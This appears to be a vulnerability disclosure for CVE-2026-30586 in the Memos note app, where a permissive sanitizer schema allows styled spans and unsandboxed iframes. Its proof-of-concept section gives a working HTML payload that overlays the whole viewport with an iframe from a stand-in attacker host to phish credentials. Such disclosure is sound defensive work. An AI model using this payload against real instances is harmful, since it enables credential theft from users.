memos_report.md

Stored HTML Injection leads to UI Redressing in Memos

Affected versions: ≤ 0.26.0

CVE ID: CVE-2026-30586

Summary

The Markdown renderer's sanitization schema incorrectly allows style attributes on span elements and unsandboxed iframe tags. An authenticated attacker can exploit this by creating a malicious memo that overlays an iframe controlled by the attacker across the entire application viewport. Because the browser's address bar retains the legitimate application domain, this enables phishing and credential harvesting attacks.

Details

The rehype-sanitize configuration (SANITIZE_SCHEMA) permits a dangerous combination of HTML elements and attributes:

export const SANITIZE_SCHEMA = {
  ...defaultSchema,
  attributes: {
    ...defaultSchema.attributes,
    span: [...(defaultSchema.attributes?.span || []), "className", "style", ["aria*"], ["data*"]],
    iframe: ["src", "width", "height", "frameborder", "allowfullscreen",
             "allow", "title", "referrerpolicy", "loading"],
  },
};

The inclusion of the style attribute on span tags allows CSS injection. Specifically, an attacker can use position: fixed and arbitrary z-index values to break the element out of the standard memo container. Concurrently, iframe elements are permitted without enforcing a sandbox attribute. While neither configuration is inherently critical in isolation, their combination allows external, fully interactive content to overlay the entire UI.

Proof of Concept

• Create a new memo containing the following payload:

<span style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:999999;background:var(--background);">
  <iframe width="100%" height="100%" src="https://memos.attacker.com/auth"></iframe>
</span>

• Publish or share the memo on the instance.
• When a victim views the memo, the span expands to cover the viewport, loading the external page. The use of the native var(--background) CSS variable allows the iframe container to blend with the application's current theme.

memos.mp4

Impact

This vulnerability primarily facilitates credential harvesting. By rendering a spoofed authentication portal over the legitimate application while maintaining the correct origin URL, attackers can reliably capture user credentials. Secondary risks include UI redressing and clickjacking, as the attacker completely controls the visible interactive area of the application.